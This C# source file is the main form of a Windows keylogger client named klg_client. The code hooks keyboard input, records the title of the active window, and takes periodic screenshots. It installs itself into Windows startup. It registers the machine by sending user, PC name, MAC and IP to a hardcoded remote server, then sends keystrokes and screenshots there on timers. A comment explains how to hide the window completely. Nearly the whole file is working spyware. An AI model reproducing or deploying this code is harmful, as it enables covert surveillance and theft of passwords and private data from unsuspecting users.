﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
using klg_client.library;
using klg_client.library.Dto;

namespace klg_client
{
    public partial class Form1 : Form
    {
        private const int MinuteFactor = 1000 * 60;
        readonly KeyLogRegistry _keyLog = new KeyLogRegistry();
        private Thread _threadShowData, _threadInitialize, _threadPing, _threadKeylog, _threadScreenshot;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            // TODO: comment out this in order to hide completely the window
            //this.Hide();
            //this.WindowState = FormWindowState.Minimized;
            //this.ShowInTaskbar = false;

            KeyboardHookManager.KeyDown += HookManager_KeyDown;
            KeyboardHookManager.KeyUp += HookManager_KeyUp;
            KeyboardHookManager.KeyPress += HookManager_KeyPress;

            _threadInitialize = new Thread(InitializeApplication);
            _threadInitialize.Start();

            _threadPing = new Thread(PingThreadMethod);
            _threadKeylog = new Thread(KeylogThreadMethod);
            _threadScreenshot = new Thread(ScreenshotThreadMethod);
        }

        private void InitializeApplication()
        {
            Log("Started ...");
            //testing install / uninstall in windows startup 
            bool isInstalled = ConfigMgr.Instance.IsInstalledLocalStartup(Application.ExecutablePath);
            if (!isInstalled)
            {
                Log("Is not installed, installing in windows startup ...");
                ConfigMgr.Instance.InstallLocalStartup(Application.ExecutablePath);
                Log("done");
            }
            else
            {
                Log("Already Installed");
            }

            if (string.IsNullOrEmpty(ConfigMgr.Instance.BaseUrl))
            {
                Log("Setting base url ...");
                //ConfigMgr.Instance.BaseUrl = "http://localhost:44606/api";
                //ConfigMgr.Instance.BaseUrl = "http://192.168.1.132/api";
                //ConfigMgr.Instance.BaseUrl = "http://209.54.60.186:8080/app.php/api";
                ConfigMgr.Instance.BaseUrl = "http://klgserver.faraday.mx/app_dev.php/api";
                Log("done");
            }

            if (string.IsNullOrEmpty(ConfigMgr.Instance.AuthenticationToken))
            {
                Log("PC is not registered, registering ...");

                var param = new DeviceParamWrapper
                {
                    device = new DeviceInfo
                    {
                        logged_user = ConfigMgr.Instance.GetLoggedUser(),
                        name = ConfigMgr.Instance.GetPCName(),
                        mac = ConfigMgr.Instance.GetMACAddress(),
                        ip = ConfigMgr.Instance.GetIPAddress(),
                        os = ConfigMgr.Instance.GetOSName(),
                        ram = ConfigMgr.Instance.GetAmountRAM(),
                        screen_resolution = ConfigMgr.Instance.GetScreeResolution(),
                        area = ConfigMgr.Instance.AreaCode
                    }
                };
                var token = RestClient.Instance.RegisterPC(param);

                Log("done token = " + token);

                ConfigMgr.Instance.AuthenticationToken = token;
            }

            Log("Setting Area to fixed 1 (temporary!!!) ...");

            ConfigMgr.Instance.AreaCode = 1;

            Log("done");

            // start the 3 loop threads
            Log("Starting ping thread");
            _threadPing.Start();

            Log("starting keylogs thread");
            _threadKeylog.Start();

            Log("starting screenshot thread");
            _threadScreenshot.Start();

        }

        private void Log(string text)
        {
            this.Invoke((MethodInvoker) (() => 
                textBox1.AppendText(text + " [" + DateTime.Now + "]" + Environment.NewLine))
            );
        }


        private void PingThreadMethod()
        {
            while (true)
            {
                Log("Sending ping ...");
                var info = RestClient.Instance.Ping(ConfigMgr.Instance.AuthenticationToken);
                if (info != null)
                {
                    ConfigMgr.Instance.PingInterval = info.ping;
                    ConfigMgr.Instance.KeylogInterval = info.keylog;
                    ConfigMgr.Instance.ScreenshotInterval = info.screenshot_interval;

                    Log("ping = " + info.ping + " keylog = " + info.keylog + " screenshot = " + info.screenshot_interval);
                }
                else
                {
                    Log("null response from ping");
                }

                Thread.Sleep(ConfigMgr.Instance.PingInterval * MinuteFactor);
            }
        }
        
        private void KeylogThreadMethod()
        {
            while (true)
            {
                if (ConfigMgr.Instance.KeylogInterval > 0)
                {
                    List<KeyLogInfo> keylogs = new List<KeyLogInfo>();
                    var log = _keyLog.GetLog();
                    foreach (var kl in log)
                    {
                        // temporary validation
                        if (!string.IsNullOrEmpty(kl.KeySeq) && !string.IsNullOrEmpty(kl.Window))
                            keylogs.Add(new KeyLogInfo { keysequence = kl.KeySeq, process = kl.Window, date = kl.Time });
                    }
                    _keyLog.Clear();
                    var param = new KeyLogParamWrapper
                    {
                        keylog = new KeyLogContainer
                        {
                            logs = keylogs.ToArray()
                        }
                    };

                    Log("Sending keylogs ");
                    var sendKeystroke = RestClient.Instance.SendKeyStroke(ConfigMgr.Instance.AuthenticationToken, param);
                    Log("reply from server (keylogs) " + sendKeystroke);
                }
                Thread.Sleep(ConfigMgr.Instance.KeylogInterval * MinuteFactor);
            }
        }

        private void ScreenshotThreadMethod()
        {
            while (true)
            {
                if (ConfigMgr.Instance.ScreenshotInterval > 0)
                {
                    Log("Sending screenshot ...");
                    var screenImage = ScreenShotMgr.Instance.GetScreenImage();
                    var base64 = Convert.ToBase64String(screenImage);
                    var param = new ScreenshotParamWrapper
                    {
                        screenshot = new ScreenshotInfo
                        {
                            date = DateConverter.ToUnixTimestamp(DateTime.Now),
                            image = base64
                        }
                    };
                    var sendscreenshot = RestClient.Instance.SendScreenshot(ConfigMgr.Instance.AuthenticationToken, param);
                    Log("reply from server (screenshot) " + sendscreenshot);

                }

                Thread.Sleep(ConfigMgr.Instance.ScreenshotInterval * MinuteFactor);
            }
        }

        #region [    Hook Keyboard events    ]

        private void HookManager_KeyDown(object sender, KeyEventArgs e)
        {
            var title = GetWinTitle();
            //textBox1.AppendText("down " + e.KeyCode + Environment.NewLine);
            _keyLog.AddKeyLogDown(title, e.KeyCode, "", DateTime.Now);
        }

        private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
        {
            var ch = (e.KeyChar > 0) ? e.KeyChar.ToString() : "";
            var title = GetWinTitle();
            //textBox1.AppendText("title [" + title + "] key press [" + (Keys)sender + "]  (" + ch + ")" + Environment.NewLine);
            _keyLog.AddKeyLogPress(title, (Keys)sender, ch, DateTime.Now);
        }

        private void HookManager_KeyUp(object sender, KeyEventArgs e)
        {
            var title = GetWinTitle();
            _keyLog.AddKeyLogUp(title, e.KeyCode, "", DateTime.Now);

            //textBox1.AppendText("up " + e.KeyCode + Environment.NewLine);
        }

        private string GetWinTitle()
        {
            var title1 = "[" + ProcessMgr.GetActiveWindowTitle() + "] ";
            var title2 = "[" + ProcessMgr.GetProcessForFocusedWindow() + "] ";
            var title = title1 + title2;
            return title;
        }

        #endregion


        #region [    Testing Basic methods    ]

        private static void ShowPCInfoData()
        {
            var msg = "logged_user: " + ConfigMgr.Instance.GetLoggedUser() + "\n" +
                "name: " + ConfigMgr.Instance.GetPCName() + "\n" +
                "mac: " + ConfigMgr.Instance.GetMACAddress() + "\n" +
                "ip: " + ConfigMgr.Instance.GetIPAddress() + "\n" +
                "os: " + ConfigMgr.Instance.GetOSName() + "\n" +
                "ram: " + ConfigMgr.Instance.GetAmountRAM() + "\n" +
                "screen_resolution: " + ConfigMgr.Instance.GetScreeResolution() + "\n";
            MessageBox.Show(msg);
        }

        private void button1_Click(object sender, EventArgs e)
        {
            _threadShowData = new Thread(ShowPCInfoData);
            _threadShowData.Start();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            var screenImage = ScreenShotMgr.Instance.GetScreenImage();

            var filename = Path.Combine(Application.StartupPath, "screenshot" + DateTime.Now.ToBinary() + ".jpg");
            File.WriteAllBytes(filename, screenImage);
            MessageBox.Show(filename);
        }

        private void button3_Click(object sender, EventArgs e)
        {
            var log = _keyLog.GetLog();
            foreach (var kl in log)
            {
                textBox1.AppendText("[" + kl.Window + "] at " +
                    DateConverter.FromUnixTimestamp(kl.Time).ToShortTimeString() +
                    " -->" + kl.KeySeq + "<--- " + Environment.NewLine);

            }
            _keyLog.Clear();
        }

        private void button4_Click(object sender, EventArgs e)
        {
            textBox1.Clear();
            var kbdlayout = KeyboardLayout.Instance.GetMap();
            foreach (var entry in kbdlayout)
            {
                var chstr = entry.Char > 0
                    ? entry.Char.ToString().Replace("\r", "\\r").Replace("\n", "\\n").Replace("\b", "\\b")
                    : "";
                textBox1.AppendText(string.Format("{0,-20} {1,3}" + Environment.NewLine, entry.VirtualKey, chstr));
            }
        }
        
        #endregion
        

        #region [    Test operations buttons    ]

        private void button5_Click(object sender, EventArgs e)
        {
            var param = new DeviceParamWrapper
            {
                device = new DeviceInfo
                {
                    logged_user = ConfigMgr.Instance.GetLoggedUser(),
                    name = ConfigMgr.Instance.GetPCName(),
                    mac = ConfigMgr.Instance.GetMACAddress(),
                    ip = ConfigMgr.Instance.GetIPAddress(),
                    os = ConfigMgr.Instance.GetOSName(),
                    ram = ConfigMgr.Instance.GetAmountRAM(),
                    screen_resolution = ConfigMgr.Instance.GetScreeResolution(),
                    area = ConfigMgr.Instance.AreaCode
                }
            };
            var token = RestClient.Instance.RegisterPC(param);

            ConfigMgr.Instance.AuthenticationToken = token;

            MessageBox.Show(ConfigMgr.Instance.AuthenticationToken);
        }

        private void button6_Click(object sender, EventArgs e)
        {
            var unRegisterPc = RestClient.Instance.UnRegisterPC(ConfigMgr.Instance.AuthenticationToken);
            MessageBox.Show(unRegisterPc.ToString());
        }

        private void button7_Click(object sender, EventArgs e)
        {
            List<KeyLogInfo> keylogs = new List<KeyLogInfo>();
            var log = _keyLog.GetLog();
            foreach (var kl in log)
            {
                // temporary validation
                if (!string.IsNullOrEmpty(kl.KeySeq) && !string.IsNullOrEmpty(kl.Window))
                    keylogs.Add(new KeyLogInfo { keysequence = kl.KeySeq, process = kl.Window, date = kl.Time });
            }
            _keyLog.Clear();
            var param = new KeyLogParamWrapper
            {
                keylog = new KeyLogContainer
                {
                    logs = keylogs.ToArray()
                }
            };

            var sendKeystroke = RestClient.Instance.SendKeyStroke(ConfigMgr.Instance.AuthenticationToken, param);
            MessageBox.Show(sendKeystroke.ToString());
        }

        private void button8_Click(object sender, EventArgs e)
        {
            var screenImage = ScreenShotMgr.Instance.GetScreenImage();
            //MessageBox.Show(screenImage.Length.ToString());
            var base64 = Convert.ToBase64String(screenImage);
            //MessageBox.Show("base64 = " + base64);
            var param = new ScreenshotParamWrapper
            {
                screenshot = new ScreenshotInfo
                {
                    date = DateConverter.ToUnixTimestamp(DateTime.Now),
                    image = base64
                }
            };
            var sendscreenshot = RestClient.Instance.SendScreenshot(ConfigMgr.Instance.AuthenticationToken, param);
            MessageBox.Show(sendscreenshot.ToString());
        }

        private void button9_Click(object sender, EventArgs e)
        {
            var info = RestClient.Instance.Ping(ConfigMgr.Instance.AuthenticationToken);
            if (info != null)
            {
                MessageBox.Show(
                    "ping = " + info.ping + Environment.NewLine +
                    "keylog = " + info.keylog + Environment.NewLine +
                    "screenshot = " + info.screenshot_interval + Environment.NewLine
                );
            }
            else
            {
                MessageBox.Show("null");
            }
        }

        private void button10_Click(object sender, EventArgs e)
        {
            ConfigMgr.Instance.RemoveFullConfiguration();
            MessageBox.Show("Configuration removed, exiting, please restart the app");
            this.Close();
        }

        #endregion

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            _threadPing.Abort();
            _threadKeylog.Abort();
            _threadScreenshot.Abort();
        }

    }
}
